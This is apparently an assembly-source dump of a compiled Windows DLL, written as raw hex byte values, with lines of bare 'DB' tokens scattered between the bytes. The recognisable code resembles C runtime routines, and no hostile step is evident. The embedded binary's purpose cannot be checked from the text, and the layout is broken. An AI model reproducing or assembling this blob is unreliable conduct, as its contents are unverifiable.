004H,0C7H,003H,000H,000H,000H,000H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H 0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,008H,056H,057H,068H,004H,001H,000H,000H 0BEH,0C0H,05EH,000H,010H,056H,06AH,000H,0FFH,015H,05CH,0C1H,000H,010H,0A1H 040H,0B5H,000H,010H,089H,035H,0BCH,050H,000H,010H,080H,038H,000H,074H,006H 08BH,035H,040H,0B5H,000H,010H,08DH,044H,024H,00CH,08DH,04CH,024H,008H,050H 051H,06AH,000H,06AH,000H,056H,0E8H,05EH,000H,000H,000H,08BH,044H,024H,01CH 083H,0C4H,014H,0C1H,0E0H,002H,003H,044H,024H,00CH,050H,0E8H,0BAH,00BH,000H 000H,083H,0C4H,004H,08BH,0F8H,085H,0FFH,075H,00AH,06AH,008H,0E8H,00AH,0F9H 0FFH,0FFH,083H,0C4H,004H,08DH,044H,024H,00CH,08DH,04CH,024H,008H,08BH,054H 024H,008H,050H,051H,08DH,004H,097H,050H,057H,056H,0E8H,01EH,000H,000H,000H 08BH,044H,024H,01CH,083H,0C4H,014H,048H,089H,03DH,0A4H,050H,000H,010H,05FH 0A3H,0A0H,050H,000H,010H,05EH,083H,0C4H,008H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH 08BH,04CH,024H,014H,053H,08BH,054H,024H,014H,056H,08BH,074H,024H,00CH,057H 08BH,044H,024H,018H,055H,083H,07CH,024H,018H,000H,0C7H,001H,000H,000H,000H 000H,0C7H,002H,001H,000H,000H,000H,074H,00BH,08BH,054H,024H,018H,083H,044H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

024H,018H,004H,089H,002H,080H,03EH,022H,074H,046H,0FFH,001H,085H,0C0H,074H 005H,08AH,016H,088H,010H,040H,08AH,016H,046H,033H,0DBH,08AH,0DAH,0F6H,083H 001H,051H,000H,010H,004H,074H,00CH,0FFH,001H,085H,0C0H,074H,005H,08AH,01EH 088H,018H,040H,046H,080H,0FAH,020H,074H,009H,084H,0D2H,074H,009H,080H,0FAH 009H,075H,0CBH,084H,0D2H,075H,003H,04EH,0EBH,050H,085H,0C0H,074H,04CH,0C6H 040H,0FFH,000H,0EBH,046H,046H,080H,03EH,022H,074H,030H,08AH,01EH,084H,0DBH 074H,02AH,033H,0D2H,08AH,0D3H,0F6H,082H,001H,051H,000H,010H,004H,074H,00CH 0FFH,001H,085H,0C0H,074H,006H,08AH,016H,046H,088H,010H,040H,0FFH,001H,085H 0C0H,074H,005H,08AH,016H,088H,010H,040H,046H,080H,03EH,022H,075H,0D0H,0FFH 001H,085H,0C0H,074H,004H,0C6H,000H,000H,040H,080H,03EH,022H,075H,001H,046H 033H,0FFH,080H,03EH,000H,00FH,084H,0E8H,000H,000H,000H,08AH,016H,080H,0FAH 020H,074H,005H,080H,0FAH,009H,075H,003H,046H,0EBH,0F1H,080H,03EH,000H,00FH 084H,0D0H,000H,000H,000H,083H,07CH,024H,018H,000H,074H,00BH,08BH,054H,024H 018H,083H,044H,024H,018H,004H,089H,002H,08BH,054H,024H,020H,0FFH,002H,0BBH 001H,000H,000H,000H,033H,0EDH,080H,03EH,05CH,075H,007H,046H,045H,080H,03EH 05CH,074H,0F9H,080H,03EH,022H,075H,024H,0F7H,0C5H,001H,000H,000H,000H,075H 019H,085H,0FFH,074H,00CH,08DH,056H,001H,080H,03AH,022H,075H,004H,08BH,0F2H 0EBH,002H,033H,0DBH,083H,0FFH,001H,01BH,0FFH,0F7H,0DFH,0C1H,0EDH,001H,08BH 0D5H,04DH,085H,0D2H,074H,011H,085H,0C0H,074H,004H,0C6H,000H,05CH,040H,08BH 0D5H,0FFH,001H,04DH,085H,0D2H,075H,0EFH,08AH,016H,084H,0D2H,074H,04FH,085H 0FFH,075H,00AH,080H,0FAH,020H,074H,046H,080H,0FAH,009H,074H,041H,085H,0DBH 074H,037H,085H,0C0H,074H,021H,033H,0DBH,08AH,0DAH,0F6H,083H,001H,051H,000H 010H,004H,074H,006H,088H,010H,046H,040H,0FFH,001H,08AH,016H,040H,046H,088H 050H,0FFH,0FFH,001H,0E9H,06FH,0FFH,0FFH,0FFH,033H,0DBH,08AH,0DAH,0F6H,083H 001H,051H,000H,010H,004H,074H,003H,046H,0FFH,001H,0FFH,001H,046H,0E9H,057H 0FFH,0FFH,0FFH,085H,0C0H,074H,004H,0C6H,000H,000H,040H,0FFH,001H,0E9H,00FH 0FFH,0FFH,0FFH,083H,07CH,024H,018H,000H,074H,00AH,08BH,054H,024H,018H,0C7H 002H,000H,000H,000H,000H,08BH,054H,024H,020H,05DH,05FH,05EH,05BH,0FFH,002H 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 083H,0ECH,018H,053H,056H,057H,055H,06AH,019H,0E8H,092H,007H,000H,000H,08BH 044H,024H,030H,083H,0C4H,004H,050H,0E8H,015H,002H,000H,000H,083H,0C4H,004H 08BH,0E8H,03BH,02DH,004H,052H,000H,010H,075H,014H,06AH,019H,0E8H,0E1H,007H 000H,000H,083H,0C4H,004H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H 085H,0EDH,075H,019H,0E8H,09BH,002H,000H,000H,06AH,019H,0E8H,0C4H,007H,000H 000H,083H,0C4H,004H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,0C7H 044H,024H,010H,000H,000H,000H,000H,0B8H,028H,052H,000H,010H,039H,028H,00FH 084H,09BH,000H,000H,000H,083H,0C0H,030H,0FFH,044H,024H,010H,03DH,018H,053H 000H,010H,072H,0EAH,08DH,044H,024H,014H,050H,055H,0FFH,015H,058H,0C1H,000H 010H,083H,0F8H,001H,00FH,085H,059H,001H,000H,000H,0BFH,000H,051H,000H,010H 033H,0C0H,0B9H,040H,000H,000H,000H,0F3H,0ABH,0AAH,083H,07CH,024H,014H,001H 00FH,086H,010H,001H,000H,000H,08DH,074H,024H,01AH,038H,044H,024H,01AH,074H 02CH,08AH,046H,001H,084H,0C0H,074H,025H,033H,0C9H,033H,0D2H,08AH,00EH,08AH 0D0H,03BH,0D1H,072H,011H,080H,089H,001H,051H,000H,010H,004H,041H,033H,0C0H 08AH,046H,001H,03BH,0C1H,073H,0EFH,083H,0C6H,002H,080H,03EH,000H,075H,0D4H 0B8H,001H,000H,000H,000H,080H,088H,001H,051H,000H,010H,008H,040H,03DH,0FFH 000H,000H,000H,072H,0F1H,055H,089H,02DH,004H,052H,000H,010H,0E8H,07FH,001H 000H,000H,083H,0C4H,004H,0E9H,0B9H,000H,000H,000H,0BFH,000H,051H,000H,010H 033H,0C0H,0B9H,040H,000H,000H,000H,0F3H,0ABH,0AAH,08BH,04CH,024H,010H,08DH 014H,049H,08DH,03CH,055H,000H,000H,000H,000H,08DH,00CH,007H,08DH,034H,0CDH 038H,052H,000H,010H,080H,03EH,000H,074H,031H,08AH,04EH,001H,084H,0C9H,074H 02AH,033H,0D2H,033H,0DBH,08AH,016H,08AH,0D9H,03BH,0DAH,072H,016H,08AH,088H 020H,052H,000H,010H,008H,08AH,001H,051H,000H,010H,042H,033H,0DBH,08AH,05EH 001H,03BH,0DAH,073H,0F0H,083H,0C6H,002H,080H,03EH,000H,075H,0CFH,040H,083H 0F8H,004H,072H,0BAH,055H,089H,02DH,004H,052H,000H,010H,0E8H,008H,001H,000H 000H,083H,0C4H,004H,0BAH,010H,052H,000H,010H,0A3H,008H,052H,000H,010H,08BH 044H,024H,010H,0C1H,0E0H,004H,08BH,09CH,040H,030H,052H,000H,010H,06AH,019H 08DH,08CH,040H,02CH,052H,000H,010H,08BH,001H,08BH,049H,008H,089H,002H,089H 05AH,004H,089H,04AH,008H,0E8H,062H,006H,000H,000H,083H,0C4H,004H,033H,0C0H 05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,033H,0C0H,0A3H,004H,052H,000H,010H 0B9H,010H,052H,000H,010H,06AH,019H,0A3H,008H,052H,000H,010H,033H,0C0H,089H 001H,089H,041H,004H,089H,041H,008H,0E8H,033H,006H,000H,000H,083H,0C4H,004H 033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,083H,03DH,01CH,052H,000H 010H,000H,074H,019H,0E8H,0E8H,000H,000H,000H,06AH,019H,0E8H,011H,006H,000H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

000H,083H,0C4H,004H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,06AH 019H,0E8H,0FDH,005H,000H,000H,083H,0C4H,004H,0B8H,0FFH,0FFH,0FFH,0FFH,05DH 05FH,05EH,05BH,083H,0C4H,018H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0C7H,005H,01CH,052H,000H,010H,000H,000H,000H,000H 08BH,044H,024H,004H,083H,0F8H,0FEH,075H,010H,0C7H,005H,01CH,052H,000H,010H 001H,000H,000H,000H,0FFH,025H,0B4H,0C1H,000H,010H,083H,0F8H,0FDH,075H,010H 0C7H,005H,01CH,052H,000H,010H,001H,000H,000H,000H,0FFH,025H,0B0H,0C1H,000H 010H,083H,0F8H,0FCH,075H,00FH,0C7H,005H,01CH,052H,000H,010H,001H,000H,000H 000H,0A1H,0D8H,057H,000H,010H,0C3H,0CCH,0CCH,0CCH,08BH,044H,024H,004H,02DH 0A4H,003H,000H,000H,083H,0F8H,012H,077H,00FH,033H,0C9H,08AH,088H,05CH,023H 000H,010H,0FFH,024H,08DH,048H,023H,000H,010H,033H,0C0H,0C3H,0B8H,011H,004H 000H,000H,0C3H,0B8H,004H,008H,000H,000H,0C3H,0B8H,012H,004H,000H,000H,0C3H 0B8H,004H,004H,000H,000H,0C3H,030H,023H,000H,010H,036H,023H,000H,010H,03CH 023H,000H,010H,042H,023H,000H,010H,02DH,023H,000H,010H,000H,004H,004H,004H 001H,004H,004H,004H,004H,004H,004H,004H,004H,004H,004H,004H,004H,002H,003H 0CCH,057H,033H,0C0H,0BFH,000H,051H,000H,010H,0B9H,040H,000H,000H,000H,0F3H 0ABH,0AAH,0A3H,010H,052H,000H,010H,0B9H,010H,052H,000H,010H,05FH,0A3H,004H 052H,000H,010H,0A3H,008H,052H,000H,010H,089H,041H,004H,089H,041H,008H,0C3H 0CCH,0CCH,0CCH,0CCH,06AH,0FDH,0E8H,0E9H,0FCH,0FFH,0FFH,083H,0C4H,004H,0C3H 0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,004H,083H,03DH,01CH,053H,000H,010H,000H 053H,056H,057H,055H,075H,040H,08BH,035H,0C4H,0C1H,000H,010H,0FFH,0D6H,08BH 0F8H,085H,0FFH,074H,010H,0C7H,005H,01CH,053H,000H,010H,001H,000H,000H,000H 08BH,05CH,024H,010H,0EBH,030H,0FFH,015H,0BCH,0C1H,000H,010H,08BH,0D8H,085H 0DBH,074H,00CH,0C7H,005H,01CH,053H,000H,010H,002H,000H,000H,000H,0EBH,018H 033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,08BH,07CH,024H,010H,08BH 05CH,024H,010H,08BH,035H,0C4H,0C1H,000H,010H,083H,03DH,01CH,053H,000H,010H 001H,00FH,085H,0A2H,000H,000H,000H,085H,0FFH,075H,012H,0FFH,0D6H,08BH,0F8H 085H,0FFH,075H,00AH,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,066H 083H,03FH,000H,08BH,0F7H,074H,012H,083H,0C6H,002H,066H,083H,03EH,000H,075H 0F7H,083H,0C6H,002H,066H,083H,03EH,000H,075H,0EEH,02BH,0F7H,06AH,000H,0C1H 0FEH,001H,06AH,000H,046H,06AH,000H,06AH,000H,056H,057H,06AH,000H,06AH,000H 0FFH,015H,0C8H,0C1H,000H,010H,08BH,0E8H,085H,0EDH,074H,041H,055H,0E8H,0AFH 005H,000H,000H,083H,0C4H,004H,08BH,0D8H,085H,0DBH,074H,032H,06AH,000H,06AH 000H,055H,053H,056H,057H,06AH,000H,06AH,000H,0FFH,015H,0C8H,0C1H,000H,010H 085H,0C0H,075H,00BH,053H,0E8H,06AH,005H,000H,000H,083H,0C4H,004H,033H,0DBH 057H,0FFH,015H,0C0H,0C1H,000H,010H,08BH,0C3H,05DH,05FH,05EH,05BH,083H,0C4H 004H,0C3H,057H,0FFH,015H,0C0H,0C1H,000H,010H,033H,0C0H,05DH,05FH,05EH,05BH 083H,0C4H,004H,0C3H,083H,03DH,01CH,053H,000H,010H,002H,075H,07BH,085H,0DBH 075H,016H,0FFH,015H,0BCH,0C1H,000H,010H,08BH,0D8H,085H,0DBH,075H,00AH,033H 0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,08BH,0EBH,080H,03BH,000H,074H 00EH,045H,080H,07DH,000H,000H,075H,0F9H,045H,080H,07DH,000H,000H,075H,0F2H 02BH,0EBH,045H,055H,0E8H,022H,005H,000H,000H,089H,044H,024H,014H,083H,0C4H 004H,085H,0C0H,075H,011H,053H,0FFH,015H,0B8H,0C1H,000H,010H,033H,0C0H,05DH 05FH,05EH,05BH,083H,0C4H,004H,0C3H,08BH,07CH,024H,010H,08BH,0F3H,08BH,0CDH 0C1H,0E9H,002H,0F3H,0A5H,08BH,0CDH,053H,083H,0E1H,003H,0F3H,0A4H,0FFH,015H 0B8H,0C1H,000H,010H,08BH,044H,024H,010H,05DH,05FH,05EH,05BH,083H,0C4H,004H 0C3H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH 0CCH,08BH,044H,024H,004H,0A3H,070H,050H,000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0A1H,06CH,050H,000H,010H,083H,0F8H,001H,074H,00DH,085H,0C0H,075H 02EH,083H,03DH,070H,050H,000H,010H,001H,075H,025H,068H,0FCH,000H,000H,000H 0E8H,01FH,000H,000H,000H,083H,0C4H,004H,0A1H,010H,056H,000H,010H,085H,0C0H 074H,002H,0FFH,0D0H,068H,0FFH,000H,000H,000H,0E8H,007H,000H,000H,000H,083H 0C4H,004H,0C3H,0CCH,0CCH,0CCH,081H,0ECH,0A8H,001H,000H,000H,033H,0C0H,0B9H 088H,055H,000H,010H,053H,08BH,094H,024H,0B0H,001H,000H,000H,056H,057H,055H 039H,011H,074H,00CH,083H,0C1H,008H,040H,081H,0F9H,010H,056H,000H,010H,072H 0F0H,039H,014H,0C5H,088H,055H,000H,010H,08DH,01CH,0C5H,000H,000H,000H,000H 00FH,085H,0A7H,001H,000H,000H,083H,03DH,06CH,050H,000H,010H,001H,00FH,084H 05FH,001H,000H,000H,083H,03DH,06CH,050H,000H,010H,000H,075H,00DH,083H,03DH 070H,050H,000H,010H,001H,00FH,084H,049H,001H,000H,000H,081H,0FAH,0FCH,000H 000H,000H,00FH,084H,078H,001H,000H,000H,08DH,084H,024H,0B4H,000H,000H,000H 068H,004H,001H,000H,000H,050H,08BH,02DH,05CH,0C1H,000H,010H,06AH,000H,0FFH 0D5H,085H,0C0H,075H,016H,0BEH,060H,056H,000H,010H,08DH,0BCH,024H,0B4H,000H 000H,000H,0B9H,005H,000H,000H,000H,0F3H,0A5H,066H,0A5H,0A4H,08DH,0ACH,024H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

0B4H,000H,000H,000H,08DH,0BCH,024H,0B4H,000H,000H,000H,0B9H,0FFH,0FFH,0FFH 0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,083H,0F9H,03CH,076H,026H,08DH,0BCH,024H 0B4H,000H,000H,000H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,06AH,003H,0F2H,0AEH 0F7H,0D1H,08DH,06CH,00CH,07CH,068H,05CH,056H,000H,010H,055H,0E8H,0C3H,004H 000H,000H,083H,0C4H,00CH,0BEH,040H,056H,000H,010H,08DH,07CH,024H,014H,0B9H 006H,000H,000H,000H,0F3H,0A5H,066H,0A5H,08BH,0FDH,0B9H,0FFH,0FFH,0FFH,0FFH 02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH,0F9H,08BH,0D1H,08BH,0F7H,0B9H,0FFH,0FFH 0FFH,0FFH,08DH,07CH,024H,014H,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H,0E9H 002H,0F3H,0A5H,08BH,0CAH,083H,0E1H,003H,0F3H,0A4H,0BFH,03CH,056H,000H,010H 0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH,0F9H,08BH,0D1H 08BH,0F7H,0B9H,0FFH,0FFH,0FFH,0FFH,08DH,07CH,024H,014H,02BH,0C0H,0F2H,0AEH 04FH,08BH,0CAH,0C1H,0E9H,002H,0F3H,0A5H,08BH,0CAH,083H,0E1H,003H,0F3H,0A4H 08BH,0BBH,08CH,055H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH 0F7H,0D1H,02BH,0F9H,08BH,0F7H,08BH,0D1H,08DH,07CH,024H,014H,0B9H,0FFH,0FFH 0FFH,0FFH,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H,0E9H,002H,0F3H,0A5H,08BH 0CAH,068H,010H,020H,001H,000H,083H,0E1H,003H,068H,014H,056H,000H,010H,0F3H 0A4H,08DH,044H,024H,01CH,050H,0E8H,066H,003H,000H,000H,083H,0C4H,00CH,05DH 05FH,05EH,05BH,081H,0C4H,0A8H,001H,000H,000H,0C3H,0A1H,030H,0B4H,000H,010H 08BH,070H,048H,083H,0FEH,0FFH,075H,00AH,06AH,0F4H,0FFH,015H,09CH,0C1H,000H 010H,08BH,0F0H,08BH,093H,08CH,055H,000H,010H,06AH,000H,08DH,044H,024H,014H 08BH,0FAH,050H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,049H 051H,052H,056H,0FFH,015H,0CCH,0C1H,000H,010H,05DH,05FH,05EH,05BH,081H,0C4H 0A8H,001H,000H,000H,0C3H,0CCH,0CCH,056H,0A1H,0BCH,056H,000H,010H,050H,08BH 035H,0D0H,0C1H,000H,010H,0FFH,0D6H,08BH,00DH,0ACH,056H,000H,010H,051H,0FFH 0D6H,0A1H,09CH,056H,000H,010H,050H,0FFH,0D6H,0A1H,07CH,056H,000H,010H,050H 0FFH,0D6H,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,053H,056H,057H,08BH,035H 0A4H,0C1H,000H,010H,033H,0FFH,08DH,01CH,0BDH,078H,056H,000H,010H,08BH,003H 085H,0C0H,074H,022H,083H,0FFH,011H,074H,01DH,083H,0FFH,00DH,074H,018H,083H 0FFH,009H,074H,013H,083H,0FFH,001H,074H,00EH,050H,0FFH,0D6H,08BH,003H,050H 0E8H,009H,002H,000H,000H,083H,0C4H,004H,047H,083H,0FFH,030H,07CH,0CBH,0A1H 09CH,056H,000H,010H,050H,0FFH,0D6H,0A1H,0ACH,056H,000H,010H,050H,0FFH,0D6H 0A1H,0BCH,056H,000H,010H,050H,0FFH,0D6H,0A1H,07CH,056H,000H,010H,050H,0FFH 0D6H,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,055H,08BH,044H,024H,008H,08BH,0ECH,056H,057H,08DH,03CH,085H,078H 056H,000H,010H,083H,03FH,000H,075H,046H,06AH,018H,0E8H,0D4H,001H,000H,000H 083H,0C4H,004H,08BH,0F0H,085H,0F6H,075H,00AH,06AH,011H,0E8H,024H,0EFH,0FFH 0FFH,083H,0C4H,004H,06AH,011H,0E8H,0CAH,0FFH,0FFH,0FFH,083H,0C4H,004H,083H 03FH,000H,056H,075H,00AH,0FFH,015H,0D0H,0C1H,000H,010H,089H,037H,0EBH,008H 0E8H,082H,001H,000H,000H,083H,0C4H,004H,06AH,011H,0E8H,018H,000H,000H,000H 083H,0C4H,004H,08BH,007H,050H,0FFH,015H,0D4H,0C1H,000H,010H,05FH,05EH,05DH 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,044H,024H,008H,08BH 0ECH,08BH,00CH,085H,078H,056H,000H,010H,051H,0FFH,015H,0D8H,0C1H,000H,010H 05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,044H,024H 008H,08BH,0ECH,03DH,028H,058H,000H,010H,072H,01CH,03DH,088H,05AH,000H,010H 077H,015H,02DH,028H,058H,000H,010H,0C1H,0F8H,005H,083H,0C0H,01CH,050H,0E8H 04AH,0FFH,0FFH,0FFH,08BH,0E5H,05DH,0C3H,083H,0C0H,020H,050H,0FFH,015H,0D4H 0C1H,000H,010H,05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 055H,08BH,044H,024H,008H,08BH,0ECH,083H,0F8H,014H,07DH,00DH,083H,0C0H,01CH 050H,0E8H,01BH,0FFH,0FFH,0FFH,08BH,0E5H,05DH,0C3H,08BH,045H,00CH,083H,0C0H 020H,050H,0FFH,015H,0D4H,0C1H,000H,010H,05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,055H,08BH,044H,024H,008H,08BH,0ECH,03DH,028H,058H,000H,010H 072H,01CH,03DH,088H,05AH,000H,010H,077H,015H,02DH,028H,058H,000H,010H,0C1H 0F8H,005H,083H,0C0H,01CH,050H,0E8H,04AH,0FFH,0FFH,0FFH,08BH,0E5H,05DH,0C3H 083H,0C0H,020H,050H,0FFH,015H,0D8H,0C1H,000H,010H,05DH,0C3H,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,044H,024H,008H,08BH,0ECH,083H 0F8H,014H,07DH,00DH,083H,0C0H,01CH,050H,0E8H,01BH,0FFH,0FFH,0FFH,08BH,0E5H 05DH,0C3H,08BH,045H,00CH,083H,0C0H,020H,050H,0FFH,015H,0D8H,0C1H,000H,010H 05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,07CH,024H 010H,00FH,0AFH,07CH,024H,00CH,085H,0FFH,075H,005H,0BFH,001H,000H,000H,000H 08BH,035H,0DCH,0C1H,000H,010H,0A1H,030H,0B5H,000H,010H,083H,0FFH,0E0H,076H 004H,033H,0C0H,0EBH,006H,057H,06AH,008H,050H,0FFH,0D6H,085H,0C0H,075H,01DH 083H,03DH,0ACH,05AH,000H,010H,000H,074H,014H,057H,0E8H,07FH,002H,000H,000H 083H,0C4H,004H,085H,0C0H,0A1H,030H,0B5H,000H,010H,075H,0D2H,033H,0C0H,05FH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,08BH,044H,024H,004H,085H,0C0H,074H,00FH,050H,06AH,000H,0A1H,030H,0B5H 000H,010H,050H,0FFH,015H,0E0H,0C1H,000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0A1H,0ACH,05AH,000H,010H,08BH,04CH,024H,004H,050H,051H,0E8H 010H,000H,000H,000H,083H,0C4H,008H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,07CH,024H,00CH,083H,0FFH,0E0H,076H 005H,033H,0C0H,05FH,05EH,0C3H,085H,0FFH,075H,005H,0BFH,001H,000H,000H,000H 08BH,074H,024H,010H,057H,0E8H,01DH,000H,000H,000H,083H,0C4H,004H,085H,0C0H 075H,013H,085H,0F6H,074H,00FH,057H,0E8H,0ECH,001H,000H,000H,083H,0C4H,004H 085H,0C0H,075H,0E2H,033H,0C0H,05FH,05EH,0C3H,08BH,044H,024H,004H,08BH,00DH 030H,0B5H,000H,010H,050H,06AH,000H,051H,0FFH,015H,0DCH,0C1H,000H,010H,0C3H 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,053H,056H,057H,033H 0F6H,039H,035H,0DCH,057H,000H,010H,075H,042H,068H,018H,058H,000H,010H,0FFH 015H,0E4H,0C1H,000H,010H,08BH,0F8H,085H,0FFH,074H,06EH,068H,00CH,058H,000H 010H,08BH,01DH,064H,0C1H,000H,010H,057H,0FFH,0D3H,0A3H,0DCH,057H,000H,010H 085H,0C0H,074H,057H,068H,0FCH,057H,000H,010H,057H,0FFH,0D3H,068H,0E8H,057H 000H,010H,0A3H,0E0H,057H,000H,010H,057H,0FFH,0D3H,0A3H,0E4H,057H,000H,010H 0A1H,0E0H,057H,000H,010H,085H,0C0H,074H,004H,0FFH,0D0H,08BH,0F0H,085H,0F6H 074H,012H,083H,03DH,0E4H,057H,000H,010H,000H,074H,009H,056H,0FFH,015H,0E4H 057H,000H,010H,08BH,0F0H,08BH,044H,024H,018H,08BH,04CH,024H,014H,08BH,054H 024H,010H,050H,051H,052H,056H,0FFH,015H,0DCH,057H,000H,010H,05FH,05EH,05BH 0C3H,033H,0C0H,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,0ECH,057H,056H,08BH,07DH,008H,08BH 075H,00CH,08BH,0D7H,08BH,04DH,010H,0E3H,00CH,0ACH,00AH,0C0H,074H,003H,0AAH 0E2H,0F8H,032H,0C0H,0F3H,0AAH,08BH,0C2H,05EH,05FH,0C9H,0C3H,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,083H,03DH,018H,0A4H,000H,010H 000H,056H,075H,00CH,0C7H,005H,018H,0A4H,000H,010H,000H,002H,000H,000H,0EBH 013H,083H,03DH,018H,0A4H,000H,010H,014H,07DH,00AH,0C7H,005H,018H,0A4H,000H 010H,014H,000H,000H,000H,06AH,004H,0A1H,018H,0A4H,000H,010H,050H,0E8H,0FAH 0FDH,0FFH,0FFH,083H,0C4H,008H,0A3H,01CH,0A4H,000H,010H,085H,0C0H,075H,029H 0C7H,005H,018H,0A4H,000H,010H,014H,000H,000H,000H,06AH,004H,06AH,014H,0E8H 0DBH,0FDH,0FFH,0FFH,083H,0C4H,008H,0A3H,01CH,0A4H,000H,010H,085H,0C0H,075H 00AH,06AH,01AH,0E8H,0A8H,0EBH,0FFH,0FFH,083H,0C4H,004H,0B9H,028H,058H,000H 010H,033H,0C0H,08BH,015H,01CH,0A4H,000H,010H,083H,0C0H,004H,089H,04CH,002H 0FCH,083H,0C1H,020H,083H,0F8H,050H,07CH,0EBH,033H,0D2H,0BEH,038H,058H,000H 010H,08BH,0C2H,08BH,0CAH,083H,0E0H,0E7H,083H,0E1H,01FH,0C1H,0F8H,003H,0C1H 0E1H,002H,08BH,080H,030H,0B4H,000H,010H,08DH,00CH,0C9H,08BH,004H,008H,083H 0F8H,0FFH,074H,004H,085H,0C0H,075H,006H,0C7H,006H,0FFH,0FFH,0FFH,0FFH,083H 0C6H,020H,042H,081H,0FEH,098H,058H,000H,010H,072H,0C9H,05EH,0C3H,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0E8H,0ABH,001H,000H,000H,080H,03DH,0C4H 050H,000H,010H,000H,074H,005H,0E9H,04DH,000H,000H,000H,0C3H,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,009H,0E8H,0C9H,0FBH,0FFH 0FFH,083H,0C4H,004H,0A1H,028H,060H,000H,010H,085H,0C0H,074H,01EH,08BH,04CH 024H,004H,051H,0FFH,0D0H,083H,0C4H,004H,085H,0C0H,074H,010H,06AH,009H,0E8H 018H,0FCH,0FFH,0FFH,083H,0C4H,004H,0B8H,001H,000H,000H,000H,0C3H,06AH,009H 0E8H,008H,0FCH,0FFH,0FFH,083H,0C4H,004H,033H,0C0H,0C3H,0CCH,0CCH,053H,056H 057H,033H,0F6H,055H,0BFH,003H,000H,000H,000H,06AH,002H,0E8H,07EH,0FBH,0FFH 0FFH,083H,0C4H,004H,039H,03DH,018H,0A4H,000H,010H,07EH,06AH,0BDH,00CH,000H 000H,000H,08BH,01DH,0A4H,0C1H,000H,010H,0A1H,01CH,0A4H,000H,010H,08BH,004H 028H,085H,0C0H,074H,047H,0F6H,040H,00CH,083H,074H,00FH,050H,0E8H,0E0H,001H 000H,000H,083H,0C4H,004H,083H,0F8H,0FFH,074H,001H,046H,083H,0FDH,050H,07CH 